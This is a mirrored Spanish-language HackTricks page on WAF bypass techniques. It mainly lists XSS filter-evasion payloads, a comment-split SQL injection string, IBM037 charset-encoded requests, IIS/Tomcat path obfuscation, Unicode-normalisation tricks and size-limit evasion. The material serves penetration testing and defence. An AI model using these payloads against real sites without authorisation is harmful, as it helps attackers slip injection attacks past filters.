mirror of
https://github.com/carlospolop/hacktricks
synced 2025-01-08 11:18:52 +00:00
77 lines
5.1 KiB
Markdown
77 lines
5.1 KiB
Markdown
|
# Bypass de WAF
|
|||
|
|
|
|||
|
|
<details>
|
|||
|
|
|
|||
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|||
|
|
|
|||
|
|
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
|||
|
|
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|||
|
|
* Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
|||
|
|
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|||
|
|
* **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
|||
|
|
|
|||
|
|
</details>
|
|||
|
|
|
|||
|
|
## Bypass de Regex
|
|||
|
|
Se pueden utilizar diferentes técnicas para evitar los filtros de regex en los firewalls. Ejemplos incluyen alternar mayúsculas y minúsculas, agregar saltos de línea y codificar payloads. Los recursos para los diferentes bypasses se pueden encontrar en [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) y [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html). Los ejemplos a continuación fueron extraídos de [este artículo](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2).
|
|||
|
|
```bash
|
|||
|
|
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
|
|||
|
|
<<script>alert(XSS)</script> #prepending an additional "<"
|
|||
|
|
<script>alert(XSS) // #removing the closing tag
|
|||
|
|
<script>alert`XSS`</script> #using backticks instead of parenetheses
|
|||
|
|
java%0ascript:alert(1) #using encoded newline characters
|
|||
|
|
<iframe src=http://malicous.com < #double open angle brackets
|
|||
|
|
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
|
|||
|
|
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
|
|||
|
|
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
|
|||
|
|
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
|
|||
|
|
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
|
|||
|
|
<iframe src="javascript:alert(`xss`)"> #unicode encoding
|
|||
|
|
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
|
|||
|
|
new Function`alt\`6\``; #using backticks instead of parentheses
|
|||
|
|
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
|
|||
|
|
%26%2397;lert(1) #using HTML encoding
|
|||
|
|
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
|
|||
|
|
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)
|
|||
|
|
```
|
|||
|
|
## Codificación de caracteres
|
|||
|
|
```bash
|
|||
|
|
# Charset encoding
|
|||
|
|
application/x-www-form-urlencoded;charset=ibm037
|
|||
|
|
multipart/form-data; charset=ibm037,boundary=blah
|
|||
|
|
multipart/form-data; boundary=blah; charset=ibm037
|
|||
|
|
|
|||
|
|
##Python code
|
|||
|
|
import urllib
|
|||
|
|
s = 'payload'
|
|||
|
|
print(urllib.parse.quote_plus(s.encode("IBM037")))
|
|||
|
|
|
|||
|
|
## Request example
|
|||
|
|
GET / HTTP/1.1
|
|||
|
|
Host: buggy
|
|||
|
|
Content-Type: application/x-www-form-urlencoded; charset=ibm500
|
|||
|
|
Content-Length: 61
|
|||
|
|
|
|||
|
|
%86%89%93%85%95%81%94%85=KKaKKa%C6%D3%C1%C7K%A3%A7%A3&x=L%A7n
|
|||
|
|
```
|
|||
|
|
## Ofuscación
|
|||
|
|
```bash
|
|||
|
|
# IIS, ASP Clasic
|
|||
|
|
<%s%cr%u0131pt> == <script>
|
|||
|
|
|
|||
|
|
# Path blacklist bypass - Tomcat
|
|||
|
|
/path1/path2/ == ;/path1;foo/path2;bar/;
|
|||
|
|
```
|
|||
|
|
## Compatibilidad Unicode
|
|||
|
|
Dependiendo de la implementación de la normalización Unicode (más información [aquí](https://jlajara.gitlab.io/Bypass_WAF_Unicode)), los caracteres que comparten compatibilidad Unicode pueden evadir el WAF y ejecutarse como carga útil prevista. Los caracteres compatibles se pueden encontrar [aquí](https://www.compart.com/en/unicode)
|
|||
|
|
|
|||
|
|
### Ejemplo
|
|||
|
|
```bash
|
|||
|
|
# under the NFKD normalization algorithm, the characters on the left translate
|
|||
|
|
# to the XSS payload on the right
|
|||
|
|
＜img src⁼p onerror⁼＇prompt⁽1⁾＇﹥ --> ＜img src=p onerror='prompt(1)'>
|
|||
|
|
```
|
|||
|
|
## Superando limitaciones de tamaño
|
|||
|
|
|
|||
|
|
Es común en los WAF basados en la nube que si la carga útil es mayor que X tamaño, la solicitud no será verificada por el WAF. Simplemente puedes usar esto para evadirlos.
|